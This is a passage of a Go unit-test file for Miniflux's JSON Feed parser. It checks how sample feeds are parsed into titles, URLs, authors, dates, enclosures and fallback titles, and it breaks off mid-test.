    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage json // import \"miniflux.app/v2/internal/reader/json\"\n\nimport (\n\t\"bytes\"\n\t\"crypto/sha256\"\n\t\"encoding/hex\"\n\t\"testing\"\n\t\"time\"\n)\n\nfunc TestParseJsonFeedVersion1(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"icon\": \"https://micro.blog/jsonfeed/avatar.jpg\",\n\t\t\"favicon\": \"https://micro.blog/jsonfeed/favicon.png\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2\",\n\t\t\t\t\"content_text\": \"This is a second item.\",\n\t\t\t\t\"url\": \"https://example.org/second-item\"\n\t\t\t},\n\t\t\t{\n\t\t\t\t\"id\": \"1\",\n\t\t\t\t\"content_html\": \"<p>Hello, world!</p>\",\n\t\t\t\t\"url\": \"https://example.org/initial-post\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"My Example Feed\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.Description != \"\" {\n\t\tt.Errorf(\"Incorrect description, got: %s\", feed.Description)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/feed.json\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif feed.IconURL != \"https://micro.blog/jsonfeed/favicon.png\" {\n\t\tt.Errorf(\"Incorrect icon URL, got: %s\", feed.IconURL)\n\t}\n\n\tif len(feed.Entries) != 2 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Hash != \"d4735e3a265e16eee03f59718b9b5d03019c07d8b6c51f90da3a666eec13ab35\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/second-item\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Title != \"This is a second item.\" {\n\t\tt.Errorf(`Incorrect entry title, got: \"%s\"`, feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[0].Content != \"This is a second item.\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[0].Content)\n\t}\n\n\tif feed.Entries[1].Hash != \"6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[1].Hash)\n\t}\n\n\tif feed.Entries[1].URL != \"https://example.org/initial-post\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[1].URL)\n\t}\n\n\tif feed.Entries[1].Title != \"Hello, world!\" {\n\t\tt.Errorf(`Incorrect entry title, got: \"%s\"`, feed.Entries[1].Title)\n\t}\n\n\tif feed.Entries[1].Content != \"<p>Hello, world!</p>\" {\n\t\tt.Errorf(\"Incorrect entry content, got: %s\", feed.Entries[1].Content)\n\t}\n}\n\nfunc TestParseFeedWithDescription(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"description\": \"This is a sample feed description.\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": []\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Description != \"This is a sample feed description.\" {\n\t\tt.Errorf(\"Incorrect description, got: %s\", feed.Description)\n\t}\n}\n\nfunc TestParsePodcast(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"user_comment\": \"This is a podcast feed. You can add this feed to your podcast client using the following URL: http://therecord.co/feed.json\",\n\t\t\"title\": \"The Record\",\n\t\t\"home_page_url\": \"http://therecord.co/\",\n\t\t\"feed_url\": \"http://therecord.co/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"http://therecord.co/chris-parrish\",\n\t\t\t\t\"title\": \"Special #1 - Chris Parrish\",\n\t\t\t\t\"url\": \"http://therecord.co/chris-parrish\",\n\t\t\t\t\"content_text\": \"Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.\",\n\t\t\t\t\"content_html\": \"Chris has worked at <a href=\\\"http://adobe.com/\\\">Adobe</a> and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped <a href=\\\"http://aged-and-distilled.com/napkin/\\\">Napkin</a>, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on <a href=\\\"http://www.ci.bainbridge-isl.wa.us/\\\">Bainbridge Island</a>, a quick ferry ride from Seattle.\",\n\t\t\t\t\"summary\": \"Brent interviews Chris Parrish, co-host of The Record and one-half of Aged & Distilled.\",\n\t\t\t\t\"date_published\": \"2014-05-09T14:04:00-07:00\",\n\t\t\t\t\"attachments\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"url\": \"http://therecord.co/downloads/The-Record-sp1e1-ChrisParrish.m4a\",\n\t\t\t\t\t\t\"mime_type\": \"audio/x-m4a\",\n\t\t\t\t\t\t\"size_in_bytes\": 89970236,\n\t\t\t\t\t\t\"duration_in_seconds\": 6629\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"http://therecord.co/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"The Record\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n\n\tif feed.FeedURL != \"http://therecord.co/feed.json\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n\n\tif feed.SiteURL != \"http://therecord.co/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Hash != \"6b678e57962a1b001e4e873756563cdc08bbd06ca561e764e0baa9a382485797\" {\n\t\tt.Errorf(\"Incorrect entry hash, got: %s\", feed.Entries[0].Hash)\n\t}\n\n\tif feed.Entries[0].URL != \"http://therecord.co/chris-parrish\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n\n\tif feed.Entries[0].Title != \"Special #1 - Chris Parrish\" {\n\t\tt.Errorf(`Incorrect entry title, got: \"%s\"`, feed.Entries[0].Title)\n\t}\n\n\tif feed.Entries[0].Content != `Chris has worked at <a href=\"http://adobe.com/\">Adobe</a> and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped <a href=\"http://aged-and-distilled.com/napkin/\">Napkin</a>, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on <a href=\"http://www.ci.bainbridge-isl.wa.us/\">Bainbridge Island</a>, a quick ferry ride from Seattle.` {\n\t\tt.Errorf(`Incorrect entry content, got: \"%s\"`, feed.Entries[0].Content)\n\t}\n\n\tlocation, _ := time.LoadLocation(\"America/Vancouver\")\n\tif !feed.Entries[0].Date.Equal(time.Date(2014, time.May, 9, 14, 4, 0, 0, location)) {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 1 {\n\t\tt.Fatalf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n\n\tif feed.Entries[0].Enclosures[0].URL != \"http://therecord.co/downloads/The-Record-sp1e1-ChrisParrish.m4a\" {\n\t\tt.Errorf(\"Incorrect enclosure URL, got: %s\", feed.Entries[0].Enclosures[0].URL)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].MimeType != \"audio/x-m4a\" {\n\t\tt.Errorf(\"Incorrect enclosure type, got: %s\", feed.Entries[0].Enclosures[0].MimeType)\n\t}\n\n\tif feed.Entries[0].Enclosures[0].Size != 89970236 {\n\t\tt.Errorf(\"Incorrect enclosure length, got: %d\", feed.Entries[0].Enclosures[0].Size)\n\t}\n}\n\nfunc TestParseFeedWithFeedURLWithTrailingSpace(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json \",\n\t\t\"items\": []\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/feed.json\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeFeedURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"/feed.json\",\n\t\t\"items\": []\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.FeedURL != \"https://example.org/feed.json\" {\n\t\tt.Errorf(\"Incorrect feed URL, got: %s\", feed.FeedURL)\n\t}\n}\n\nfunc TestParseFeedSiteURLWithTrailingSpace(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/ \",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": []\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithRelativeSiteURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"/home \",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": []\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/home\" {\n\t\tt.Errorf(\"Incorrect site URL, got: %s\", feed.SiteURL)\n\t}\n}\n\nfunc TestParseFeedWithoutTitle(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Title != \"https://example.org/\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseFeedWithoutHomePage(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"title\": \"Some test\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/feed.json\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseFeedWithoutFeedURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Some test\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.SiteURL != \"https://example.org/feed.json\" {\n\t\tt.Errorf(\"Incorrect title, got: %s\", feed.Title)\n\t}\n}\n\nfunc TestParseItemWithoutAttachmentURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"user_comment\": \"This is a podcast feed. You can add this feed to your podcast client using the following URL: http://therecord.co/feed.json\",\n\t\t\"title\": \"The Record\",\n\t\t\"home_page_url\": \"http://therecord.co/\",\n\t\t\"feed_url\": \"http://therecord.co/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"http://therecord.co/chris-parrish\",\n\t\t\t\t\"title\": \"Special #1 - Chris Parrish\",\n\t\t\t\t\"url\": \"http://therecord.co/chris-parrish\",\n\t\t\t\t\"content_text\": \"Chris has worked at Adobe and as a founder of Rogue Sheep, which won an Apple Design Award for Postage. Chris’s new company is Aged & Distilled with Guy English — which shipped Napkin, a Mac app for visual collaboration. Chris is also the co-host of The Record. He lives on Bainbridge Island, a quick ferry ride from Seattle.\",\n\t\t\t\t\"date_published\": \"2014-05-09T14:04:00-07:00\",\n\t\t\t\t\"attachments\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"url\": \"\",\n\t\t\t\t\t\t\"mime_type\": \"audio/x-m4a\",\n\t\t\t\t\t\t\"size_in_bytes\": 0\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"http://therecord.co/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif len(feed.Entries[0].Enclosures) != 0 {\n\t\tt.Errorf(\"Incorrect number of enclosures, got: %d\", len(feed.Entries[0].Enclosures))\n\t}\n}\n\nfunc TestParseItemWithRelativeURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"something.html\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/something.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseItemWithExternalURLAndNoURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"1234259\",\n\t\t\t\t\"external_url\": \"some_page.html\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/some_page.html\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseItemWithExternalURLAndURL(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"1234259\",\n\t\t\t\t\"url\": \"https://example.org/article\",\n\t\t\t\t\"external_url\": \"https://example.org/another-article\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].URL != \"https://example.org/article\" {\n\t\tt.Errorf(\"Incorrect entry URL, got: %s\", feed.Entries[0].URL)\n\t}\n}\n\nfunc TestParseItemWithLegacyAuthorField(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"user_comment\": \"This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json\",\n\t\t\"title\": \"Brent Simmons’s Microblog\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"author\": {\n\t\t\t\"name\": \"Brent Simmons\",\n\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t},\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Author != \"Brent Simmons\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseItemWithMultipleAuthorFields(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1.1\",\n\t\t\"user_comment\": \"This is a microblog feed. You can add this to your feed reader using the following URL: https://example.org/feed.json\",\n\t\t\"title\": \"Brent Simmons’s Microblog\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"author\": {\n\t\t\t\"name\": \"Deprecated Author Field\",\n\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t},\n\t\t\"authors\": [\n\t\t\t{\n\t\t\t\t\"name\": \"Brent Simmons\",\n\t\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t\t}\n\t\t],\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Author != \"Brent Simmons, Deprecated Author Field\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseItemWithMultipleDuplicateAuthors(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1.1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"2016-02-09T14:22:00-07:00\",\n\t\t\t\t\"authors\": [\n\t\t\t\t\t{\n\t\t\t\t\t\t\"name\": \"Author B\",\n\t\t\t\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"name\": \"Author A\",\n\t\t\t\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\t\"name\": \"Author B\",\n\t\t\t\t\t\t\"url\": \"http://example.org/\",\n\t\t\t\t\t\t\"avatar\": \"https://example.org/avatar.png\"\n\t\t\t\t\t}\n\t\t\t\t]\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Author != \"Author A, Author B\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseItemWithAuthorsObject(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1.1\",\n\t\t\"title\": \"Example\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"1\",\n\t\t\t\t\"title\": \"Example Item\",\n\t\t\t\t\"url\": \"https://example.org/item\",\n\t\t\t\t\"date_published\": \"2020-01-02T03:04:05Z\",\n\t\t\t\t\"authors\": {\n\t\t\t\t\t\"name\": \"Example Author\"\n\t\t\t\t}\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Fatalf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Author != \"Example Author\" {\n\t\tt.Errorf(\"Incorrect entry author, got: %s\", feed.Entries[0].Author)\n\t}\n}\n\nfunc TestParseItemWithInvalidDate(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"id\": \"2347259\",\n\t\t\t\t\"url\": \"https://example.org/2347259\",\n\t\t\t\t\"content_text\": \"Cats are neat. \\n\\nhttps://example.org/cats\",\n\t\t\t\t\"date_published\": \"Tomorrow\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tduration := time.Since(feed.Entries[0].Date)\n\tif duration.Seconds() > 1 {\n\t\tt.Errorf(\"Incorrect entry date, got: %v\", feed.Entries[0].Date)\n\t}\n}\n\nfunc TestParseItemWithMissingTitleUsesSummaryFallback(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"summary\": \"Summary title\",\n\t\t\t\t\"content_text\": \"Content text title\",\n\t\t\t\t\"content_html\": \"<p>HTML title</p>\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"Summary title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemWithMissingTitleUsesContentTextFallback(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"summary\": \" \",\n\t\t\t\t\"content_text\": \"Content text title\",\n\t\t\t\t\"content_html\": \"<p>HTML title</p>\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"Content text title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemWithMissingTitleUsesHTMLFallback(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"summary\": \"\",\n\t\t\t\t\"content_text\": \"\",\n\t\t\t\t\"content_html\": \"<p>HTML title</p>\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"HTML title\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemWithMissingTitleUsesURLFallback(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": [\n\t\t\t{\n\t\t\t\t\"url\": \"https://example.org/item\"\n\t\t\t}\n\t\t]\n\t}`\n\n\tfeed, err := Parse(\"https://example.org/feed.json\", bytes.NewBufferString(data))\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\n\tif len(feed.Entries) != 1 {\n\t\tt.Errorf(\"Incorrect number of entries, got: %d\", len(feed.Entries))\n\t}\n\n\tif feed.Entries[0].Title != \"https://example.org/item\" {\n\t\tt.Errorf(\"Incorrect entry title, got: %s\", feed.Entries[0].Title)\n\t}\n}\n\nfunc TestParseItemWithTooLongUnicodeTitle(t *testing.T) {\n\tdata := `{\n\t\t\"version\": \"https://jsonfeed.org/version/1\",\n\t\t\"title\": \"My Example Feed\",\n\t\t\"home_page_url\": \"https://example.org/\",\n\t\t\"feed_url\": \"https://example.org/feed.json\",\n\t\t\"items\": 